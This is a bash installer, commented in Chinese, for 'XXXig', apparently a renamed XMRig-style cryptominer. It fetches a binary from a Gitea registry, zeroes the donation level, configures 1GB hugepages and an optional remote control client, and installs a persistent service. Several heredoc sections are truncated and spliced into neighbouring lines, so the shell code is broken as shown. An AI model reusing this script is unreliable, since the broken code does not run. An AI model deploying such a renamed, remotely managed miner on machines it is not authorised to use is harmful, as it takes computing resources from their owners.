#!/bin/bash # # XXXig 安装脚本 - Gitea 版本 # 从 Gitea Generic Package Registry 下载并安装 XXXig # set -e declare -r BLUE="\033[0;34m" declare -r RED="\033[0;31m" declare -r GREEN="\033[0;32m" declare -r YELLOW="\033[0;33m" declare -r RESET="\033[0m" # 基本配置 INSTALL_DIR="/etc/miner/xxxig" CONFIG_FILE="$INSTALL_DIR/config.json" LOG_FILE="$INSTALL_DIR/xxxig.log" HUGEPAGES_HELPER="/usr/local/libexec/xxxig-enable-1gb-pages" HUGEPAGES_SERVICE="/etc/systemd/system/xxxig-hugepages.service" SYSTEMD_DROPIN_DIR="/etc/systemd/system/xxxig.service.d" SYSTEMD_DROPIN="$SYSTEMD_DROPIN_DIR/hugepages.conf" # Gitea 配置 GITEA_SERVER="gitea.bcde.io" GITEA_OWNER="wangdefa" GITEA_REPO="xxxig" PACKAGE_NAME="xxxig" # 默认参数 DEFAULT_VERSION="latest" DEFAULT_THREADS=0 DEFAULT_POOL_ALGO="rx/0" DEFAULT_POOL_TLS="false" DEFAULT_POOL_KEEPALIVE="false" DEFAULT_POOL_DAEMON="false" DEFAULT_POOL_SUBMIT_TO_ORIGIN="false" DEFAULT_POOL_NICEHASH="true" DEFAULT_ONE_GB_PAGES="false" DEFAULT_VERBOSE="true" DEFAULT_CC_ENABLED="false" DEFAULT_CC_TLS="false" DEFAULT_KEEP_NAME="false" # 辅助函数 log() { echo -e "${1}${2}${RESET}"; } error() { log "$RED" "错误: $1"; exit 1; } get_arch() { case $(uname -m) in x86_64) echo "amd64" ;; aarch64) echo "arm64" ;; *) error "不支持的架构: $(uname -m)" ;; esac } get_os() { grep -qi alpine /etc/os-release && echo "alpine" && return grep -qiE 'debian|ubuntu' /etc/os-release && echo "ubuntu" && return error "不支持的操作系统" } get_gitea_latest_version() { local version version=$(curl -s "https://${GITEA_SERVER}/api/v1/repos/${GITEA_OWNER}/${GITEA_REPO}/releases" | jq -r '.[0].tag_name') [[ -z "$version" || "$version" == "null" ]] && error "获取版本失败" echo "$version" } # 卸载旧版本 uninstall_xxxig() { if [[ $os_type == "alpine" ]]; then rc-service xxxig stop 2>/dev/null || true rc-service xxxig-hugepages stop 2>/dev/null || true rc-update del xxxig default 2>/dev/null || true rc-update del xxxig-hugepages default 2>/dev/null || true rm -rf "$INSTALL_DIR" /etc/init.d/xxxig /etc/init.d/xxxig-hugepages rm -f "$HUGEPAGES_HELPER" "$HUGEPAGES_SERVICE" else systemctl stop xxxig xxxig-hugepages 2>/dev/null || true systemctl disable xxxig xxxig-hugepages 2>/dev/null || true rm -rf "$INSTALL_DIR" /etc/systemd/system/xxxig.service rm -f "$SYSTEMD_DROPIN" "$HUGEPAGES_HELPER" "$HUGEPAGES_SERVICE" rmdir "$SYSTEMD_DROPIN_DIR" 2>/dev/null || true systemctl daemon-reload 2>/dev/null || true fi } # 安装软件包 install_xxxig() { local temp_dir=$(mktemp -d) trap "rm -rf '$temp_dir'" EXIT log "$BLUE" "下载 XXXig $version..." curl -fsSL -o "$temp_dir/xxxig.tar.gz" "$download_url" || error "下载失败" mkdir -p "$INSTALL_DIR" tar -xzf "$temp_dir/xxxig.tar.gz" -C "$INSTALL_DIR" --strip-components=1 || error "解压失败" chmod +x "$INSTALL_DIR/xxxigDaemon" "$INSTALL_DIR/xxxig" } create_xxxig_user() { if [[ "$os_type" == "alpine" ]]; then getent group xxxig >/dev/null || addgroup -S xxxig getent passwd xxxig >/dev/null || \ adduser -S -D -H -h "$INSTALL_DIR" -s /sbin/nologin -G xxxig xxxig else getent group xxxig >/dev/null || addgroup --system xxxig getent passwd xxxig >/dev/null || \ adduser --system --ingroup xxxig --no-create-home \ --home "$INSTALL_DIR" --shell /usr/sbin/nologin xxxig fi } set_runtime_permissions() { touch "$LOG_FILE" chown -R root:root "$INSTALL_DIR" chown xxxig:xxxig "$CONFIG_FILE" "$LOG_FILE" chmod 640 "$CONFIG_FILE" chmod 640 "$LOG_FILE" chmod 755 "$INSTALL_DIR" "$INSTALL_DIR/xxxigDaemon" "$INSTALL_DIR/xxxig" } write_hugepages_helper() { mkdir -p "$(dirname "$HUGEPAGES_HELPER")" cat >"$HUGEPAGES_HELPER" <<'EOF' #!/bin/sh set -eu sysctl -w vm.nr_hugepages="$(nproc)" found=0 for node in /sys/devices/system/node/node*; do file="$node/hugepages/hugepages-1048576kB/nr_hugepages" [ -e "$file" ] || continue printf '3\n' >"$file" actual=$(cat "$file") [ "$actual" -ge 3 ] || exit 1 found=1 done [ "$found" -eq 1 ] EOF chmod 755 "$HUGEPAGES_HELPER" } write_hugepages_service() { cat >"$HUGEPAGES_SERVICE" <"$SYSTEMD_DROPIN" <<'EOF' [Unit] Requires=xxxig-hugepages.service After=xxxig-hugepages.service EOF } configure_alpine_hugepages() { [[ "$one_gb_pages" == "true" ]] || return 0 log "$BLUE" "配置 1GB Huge Pages 持久池..." write_hugepages_helper cat >/etc/init.d/xxxig-hugepages <"$CONFIG_FILE.tmp" && mv "$CONFIG_FILE.tmp" "$CONFIG_FILE" } # 更新配置文件 append_pool_options() { [[ "$one_gb_pages" == "true" ]] && jq_cmd+=' | .randomx."1gb-pages" = true' [[ "$pool_keepalive" == "true" ]] && jq_cmd+=' | .pools[0].keepalive = true' [[ -n "$pool_tls_fingerprint" ]] && \ jq_cmd+=" | .pools[0].\"tls-fingerprint\" = \"$pool_tls_fingerprint\"" [[ "$pool_daemon" == "true" ]] && jq_cmd+=' | .pools[0].daemon = true' [[ "$pool_submit_to_origin" == "true" ]] && \ jq_cmd+=" | .pools[0].\"submit-to-origin\" = true | .pools[0].\"self-select\" = \"$pool_self_select\"" return 0 } append_cc_options() { if [[ "$cc_enabled" == "true" ]]; then jq_cmd+=" | .\"cc-client\".enabled = true | .\"cc-client\".servers[0].url = \"$cc_url\" | .\"cc-client\".servers[0].\"access-token\" = \"$cc_token\" | .\"cc-client\".servers[0].\"use-tls\" = $cc_tls | .\"cc-client\".\"worker-id\" = \"$cc_work_id\"" else jq_cmd+=' | ."cc-client".enabled = false' fi } replace_config() { [[ ! -f "$CONFIG_FILE" ]] && error "配置文件缺失" local jq_cmd=".\"log-file\" = \"$LOG_FILE\" | .\"donate-level\" = 0 | .\"donate-over-proxy\" = 0 | .pools[0].algo = \"$pool_algo\" | .pools[0].url = \"$pool_address\" | .pools[0].user = \"$wallet_address\" | .pools[0].pass = \"$pool_password\" | .pools[0].tls = $pool_tls | .pools[0].nicehash = $pool_nicehash | .\"verbose\" = $verbose" append_pool_options append_cc_options jq "$jq_cmd" "$CONFIG_FILE" >"$CONFIG_FILE.tmp" && mv "$CONFIG_FILE.tmp" "$CONFIG_FILE" configure_cpu_rx } # 创建并启动服务 create_alpine_service() { local hugepages_dependency="" [[ "$one_gb_pages" == "true" ]] && hugepages_dependency=" need xxxig-hugepages" cat >/etc/init.d/xxxig </etc/systemd/system/xxxig.service < XXXig 版本 (默认: $DEFAULT_VERSION) -t, --threads <数字> 线程数 (默认: 自动) -a, --algo <算法> 矿池算法 (默认: $DEFAULT_POOL_ALGO) -o, --pool <地址> 矿池地址 (必需) -w, --wallet <地址> 钱包地址 -p, --password <密码> 矿池密码 (默认自动生成) --1gb-pages 启用 1GB 大页 --tls 启用 TLS --keepalive 启用 KeepAlive --daemon 启用 SOLO 挖矿 --nicehash 启用 NiceHash 模式 (默认: 启用) --submit-to-origin 提交到原始矿池 --self-select <地址> 自选矿池地址 --verbose 启用详细输出 (默认: 启用) --cc 启用 CC --cc-url <地址> CC 服务器地址 --cc-work-id CC 工作 ID --cc-token <令牌> CC 访问令牌 --cc-tls 启用 CC TLS --keep-name 保留已有矿池密码和 CC worker-id -h, --help 显示帮助信息 $0 -o pool.example.com:3333 -w YOUR_WALLET_ADDRESS EOF exit 1 } init_args() { version=$DEFAULT_VERSION threads=$DEFAULT_THREADS pool_algo=$DEFAULT_POOL_ALGO pool_tls=$DEFAULT_POOL_TLS pool_keepalive=$DEFAULT_POOL_KEEPALIVE pool_submit_to_origin=$DEFAULT_POOL_SUBMIT_TO_ORIGIN pool_daemon=$DEFAULT_POOL_DAEMON pool_nicehash=$DEFAULT_POOL_NICEHASH pool_self_select="" pool_address="" wallet_address="" pool_password="" pool_tls_fingerprint="" verbose=$DEFAULT_VERBOSE cc_enabled=$DEFAULT_CC_ENABLED cc_url="" cc_work_id="" cc_token="" cc_tls=$DEFAULT_CC_TLS one_gb_pages=$DEFAULT_ONE_GB_PAGES keep_name=$DEFAULT_KEEP_NAME } read_args() { while [[ $# -gt 0 ]]; do case "$1" in -v | --version) version="$2"; shift 2 ;; -t | --threads) threads="$2"; shift 2 ;; -a | --algo) pool_algo="$2"; shift 2 ;; -o | --pool) pool_address="$2"; shift 2 ;; -w | --wallet) wallet_address="$2"; shift 2 ;; -p | --password) pool_password="$2"; shift 2 ;; --1gb-pages) one_gb_pages="true"; shift ;; --cc-url) cc_url="$2"; shift 2 ;; --cc-work-id) cc_work_id="$2"; shift 2 ;; --cc-token) cc_token="$2"; shift 2 ;; --tls-fingerprint) pool_tls_fingerprint="$2"; shift 2 ;; --tls) pool_tls="true"; shift ;; --keepalive) pool_keepalive="true"; shift ;; --daemon) pool_daemon="true"; shift ;; --nicehash) pool_nicehash="true"; shift ;; --submit-to-origin) pool_submit_to_origin="true"; shift ;; --self-select) pool_self_select="$2"; shift 2 ;; --verbose) verbose="true"; shift ;; --cc) cc_enabled="true"; shift ;; --cc-tls) cc_tls="true"; shift ;; --keep-name | --preserve-name) keep_name="true"; shift ;; -h | --help) show_usage ;; *) error "无效选项: $1" ;; esac done } validate_args() { [[ -z "$pool_address" ]] && error "矿池地址不能为空" [[ ! "$threads" =~ ^[0-9]+$ ]] && error "无效线程数" [[ "$pool_submit_to_origin" == "true" && -z "$pool_self_select" ]] && \ error "启用 submit_to_origin 必须设置 self_select" return 0 } resolve_defaults() { local ip random_str if [[ -z "$pool_password" ]]; then ip=$(curl -4s --retry 3 --connect-timeout 10 ifconfig.me 2>/dev/null || echo "0.0.0.0") random_str=$(tr -dc '0-9a-zA-Z' /dev/null || true) old_work_id=$(jq -r '."cc-client"."worker-id" // empty' "$CONFIG_FILE" 2>/dev/null || true) if [[ -z "$pool_password" && -n "$old_password" ]]; then pool_password=$old_password preserved="true" fi if [[ -z "$cc_work_id" && -n "$old_work_id" ]]; then cc_work_id=$old_work_id preserved="true" fi [[ "$preserved" == "true" ]] && log "$GREEN" "已保留原矿工名称" return 0 } parse_args() { init_args read_args "$@" validate_args } install_dependencies() { local deps=(curl jq file) if command -v apt-get &>/dev/null; then for pkg in "${deps[@]}"; do command -v "$pkg" &>/dev/null || apt-get install -y "$pkg" done elif command -v apk &>/dev/null; then for pkg in "${deps[@]}"; do command -v "$pkg" &>/dev/null || apk add "$pkg" done fi } prepare_download() { local pkg_version os_type=$(get_os) [[ "$version" == "latest" ]] && version=$(get_gitea_latest_version) pkg_version="${version#v}" # 产物统一为 musl 全静态(linux-static),不再区分 distro;os_type 仅用于下方服务管理(OpenRC/systemd) download_url="https://${GITEA_SERVER}/api/packages/${GITEA_OWNER}/generic/${PACKAGE_NAME}/${pkg_version}/${PACKAGE_NAME}-$(get_arch)-linux-static-${pkg_version}.tar.gz" } show_config() { log "$BLUE" "配置信息:" echo " 版本: $version" echo " 架构: $(get_arch)" echo " 系统: $os_type" echo " 线程: $threads" echo " 算法: $pool_algo" echo " 矿池: $pool_address" echo " 钱包: $wallet_address" } install_runtime() { uninstall_xxxig install_xxxig replace_config create_xxxig_user set_runtime_permissions if [[ "$os_type" == "alpine" ]]; then configure_alpine_hugepages else configure_systemd_hugepages fi create_service } show_management_commands() { echo "管理命令:" if [[ "$os_type" == "alpine" ]]; then echo " rc-service xxxig status" echo " tail -f $LOG_FILE" echo " rc-service xxxig restart" else echo " systemctl status xxxig" echo " journalctl -u xxxig -f" echo " systemctl restart xxxig" fi } main() { parse_args "$@" install_dependencies load_preserved_name resolve_defaults prepare_download show_config install_runtime show_management_commands } main "$@"